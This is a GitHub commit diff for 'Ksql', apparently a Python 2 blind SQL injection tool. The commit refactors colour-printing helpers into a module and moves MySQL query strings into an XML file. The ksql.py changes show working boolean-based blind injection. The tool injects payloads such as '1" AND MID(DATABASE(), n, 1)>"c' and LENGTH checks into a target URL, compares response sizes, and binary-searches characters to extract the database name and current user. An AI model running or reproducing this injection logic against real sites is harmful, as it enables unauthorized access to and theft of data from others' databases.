Skip to content

Commit

Permalink
useing xml/queries.xml
Browse files Browse the repository at this point in the history
  • Loading branch information
kaysen committed Mar 13, 2017
1 parent 060a95d commit 7293bb3
Show file tree
Hide file tree
Showing 4 changed files with 58 additions and 55 deletions.
3 changes: 3 additions & 0 deletions core/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/usr/bin/env python

pass
29 changes: 29 additions & 0 deletions core/stdout.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import sys, ctypes

def set_cmd_text_color(color, handle=ctypes.windll.kernel32.GetStdHandle(-11)):
Bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)
return Bool


def resetColor():
set_cmd_text_color(0x0f)


def printDarkGray(mess):
set_cmd_text_color(0x08)
sys.stdout.write(mess)
resetColor()


def printDarkGreen(mess):
set_cmd_text_color(0x02)
sys.stdout.write(mess)
resetColor()


def printDarkYellow(mess):
set_cmd_text_color(0x06)
sys.stdout.write(mess)
resetColor()
75 changes: 23 additions & 52 deletions ksql.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,51 +2,20 @@
# -*- coding:utf-8 -*-

"""
author: kaysen - http://www.xujiantao.com
version: Ksql 1.0
author: kaysen - http://www.xujiantao.com
version: Ksql 1.0
"""

import sys, os, io, inspect, string, time, urllib, re, urlparse, difflib, chardet
import filecmp, json, getopt, datetime, ctypes, threading, sqlite3, timeit
import filecmp, json, datetime, threading, sqlite3, timeit, getopt
import xml.etree.ElementTree as ET
from core import stdout
from difflib import *
from time import ctime,sleep

reload(sys)
sys.setdefaultencoding('utf8')
Timer = timeit.Timer()

def set_cmd_text_color(color, handle=ctypes.windll.kernel32.GetStdHandle(-11)):
Bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)
return Bool


def resetColor():
set_cmd_text_color(0x0f)


def printDarkGray(mess):
set_cmd_text_color(0x08)
sys.stdout.write(mess)
resetColor()


def printDarkGreen(mess):
set_cmd_text_color(0x02)
sys.stdout.write(mess)
resetColor()


def printDarkYellow(mess):
set_cmd_text_color(0x06)
sys.stdout.write(mess)
resetColor()



def main(argv):
for arg in argv:
print arg

Timer = timeit.Timer()

def modulePath():
try:
Expand Down Expand Up @@ -78,7 +47,13 @@ def htmlDecode(string):
KSQL_XML_PATH = os.path.join(KSQL_ROOT_PATH, 'xml')
QUERIES_XML = os.path.join(KSQL_XML_PATH, 'queries.xml')
MAX_BLIND_COUNT = 15
ITOA64 = '0123456789@abcdefghijklmnopqrstuvwxyz'
ITOA64 = '-0123456789@abcdefghijklmnopqrstuvwxyz_'
DBMS = 'mysql' # 暂时先只支持Mysql
QueriesRoot = ET.parse(KSQL_ROOT_PATH + '/xml/queries.xml').getroot()
QueriesDBMS = QueriesRoot.find(DBMS)

def createBinarySql(url, type, num, midval):
return (url.replace('[[[ID]]]', '1" AND MID(%s, %d, 1)>"%s' % (QueriesDBMS.find(type).get('query'), num, midval)), url.replace('[[[ID]]]', '1" AND MID(%s, %d, 1)<"%s' % (QueriesDBMS.find(type).get('query'), num, midval)))


sqlliteCon = sqlite3.connect(':memory:', check_same_thread=False)
Expand Down Expand Up @@ -108,14 +83,12 @@ def run(type, tmpUrl, num, succPageSize, frontThread):
midval = ITOA64[mid]

if type == '--current-db':
highSql = tmpUrl.replace('[[[ID]]]', '1" AND MID(DATABASE(), %d, 1)>"%s' % (num, midval))
lowSql = tmpUrl.replace('[[[ID]]]', '1" AND MID(DATABASE(), %d, 1)<"%s' % (num, midval))
(highSql, lowSql) = createBinarySql(tmpUrl, 'current_db', num, midval)
elif type == '--current-user':
highSql = tmpUrl.replace('[[[ID]]]', '1" AND MID(USER(), %d, 1)>"%s' % (num, midval))
lowSql = tmpUrl.replace('[[[ID]]]', '1" AND MID(USER(), %d, 1)<"%s' % (num, midval))
(highSql, lowSql) = createBinarySql(tmpUrl, 'current_user', num, midval)

printDarkGray("[%s] [INFO] %s \r\n" %(now.strftime('%H:%M:%S'), highSql))
printDarkGray("[%s] [INFO] %s \r\n" %(now.strftime('%H:%M:%S'), lowSql))
stdout.printDarkGray("[%s] [INFO] %s \r\n" %(now.strftime('%H:%M:%S'), highSql))
stdout.printDarkGray("[%s] [INFO] %s \r\n" %(now.strftime('%H:%M:%S'), lowSql))

if len(htmlDecode(urllib.urlopen(lowSql).read())) == succPageSize:
high = mid - 1
Expand All @@ -125,7 +98,7 @@ def run(type, tmpUrl, num, succPageSize, frontThread):
sql = 'update info set value=value||"%s" where type="%s"' % (midval, type)
sqlliteCon.execute(sql)
sqlliteCon.commit()
printDarkGreen("[%s] [INFO] Hint %s \r\n" %(now.strftime('%H:%M:%S'), midval))
stdout.printDarkGreen("[%s] [INFO] Hint %s \r\n" %(now.strftime('%H:%M:%S'), midval))
break

def manage(type, url):
Expand All @@ -148,9 +121,9 @@ def manage(type, url):

digitUrl = ''
if type == '--current-db':
digitUrl = tmpUrl.replace('[[[ID]]]', '1" AND LENGTH(DATABASE())="' + str(num))
digitUrl = tmpUrl.replace('[[[ID]]]', '1" AND LENGTH(' + QueriesDBMS.find('current_db').get('query') + ')="' + str(num))
elif type == '--current-user':
digitUrl = tmpUrl.replace('[[[ID]]]', '1" AND LENGTH(USER())="' + str(num))
digitUrl = tmpUrl.replace('[[[ID]]]', '1" AND LENGTH(' + QueriesDBMS.find('current_user').get('query') + ')="' + str(num))

if digitUrl != '' and len(htmlDecode(urllib.urlopen(digitUrl).read())) == succPageSize:
blindCount = num
Expand All @@ -173,9 +146,9 @@ def manage(type, url):
checkRes = cursor.fetchone()

if type == '--current-db':
printDarkYellow('Databse: ' + checkRes[0] + "\r\n")
stdout.printDarkYellow('Databse: ' + checkRes[0] + "\r\n")
elif type == '--current-user':
printDarkYellow('User: ' + checkRes[0] + "\r\n")
stdout.printDarkYellow('User: ' + checkRes[0] + "\r\n")


def Usage():
Expand Down Expand Up @@ -233,7 +206,5 @@ def main(argv):
if __name__ == '__main__':
main(sys.argv)
sqlliteCon.close()

print Timer.timeit()
#printDarkYellow('Runtime: ' + runtime)
stdout.printDarkYellow('Runtime: ' + str(Timer.timeit()))

6 changes: 3 additions & 3 deletions xml/queries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,10 @@

<root>
<!-- MySQL -->
<dbms value="MySQL">
<mysql>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_user query="USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
</dbms>
</mysql>
</root>

0 comments on commit 7293bb3

Please sign in to comment.